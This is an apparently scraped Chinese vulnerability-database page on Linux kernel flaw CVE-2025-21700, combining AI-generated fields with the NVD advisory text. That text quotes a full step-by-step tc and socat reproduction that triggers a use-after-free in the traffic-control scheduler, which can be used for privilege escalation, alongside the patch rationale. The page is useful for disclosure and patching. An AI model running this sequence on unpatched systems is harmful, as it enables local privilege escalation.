net: sched: Disallow replacing of child qdisc from one parent to another 漏洞信息(CVE-2025-21700)

一、漏洞 CVE-2025-21700 基础信息

AIGC 神龙大模型
美国国家漏洞数据库 NVD

漏洞标题

内核: 调度: 禁止将子阶层流量控制从一个父阶层流量控制替换到另一个

来源：AIGC 神龙大模型

漏洞描述信息

N/A

来源：AIGC 神龙大模型

CVSS信息

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

来源：AIGC 神龙大模型

漏洞类别

特权管理不恰当

来源：AIGC 神龙大模型

漏洞标题

net: sched: Disallow replacing of child qdisc from one parent to another

来源：美国国家漏洞数据库 NVD

漏洞描述信息

In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

来源：美国国家漏洞数据库 NVD

CVSS信息

N/A

来源：美国国家漏洞数据库 NVD

漏洞类别

N/A

来源：美国国家漏洞数据库 NVD

二、漏洞 CVE-2025-21700 的公开POC

#	POC 描述	源链接	神龙链接

三、漏洞 CVE-2025-21700 的情报信息

标题： net: sched: Disallow replacing of child qdisc from one parent to another - kernel/git/stable/linux.git - Linux kernel stable tree -- 🔗来源链接

标签：
标题： net: sched: Disallow replacing of child qdisc from one parent to another - kernel/git/stable/linux.git - Linux kernel stable tree -- 🔗来源链接

标签：
标题： net: sched: Disallow replacing of child qdisc from one parent to another - kernel/git/stable/linux.git - Linux kernel stable tree -- 🔗来源链接

标签：
标题： net: sched: Disallow replacing of child qdisc from one parent to another - kernel/git/stable/linux.git - Linux kernel stable tree -- 🔗来源链接

标签：
标题： net: sched: Disallow replacing of child qdisc from one parent to another - kernel/git/stable/linux.git - Linux kernel stable tree -- 🔗来源链接

标签：
https://nvd.nist.gov/vuln/detail/CVE-2025-21700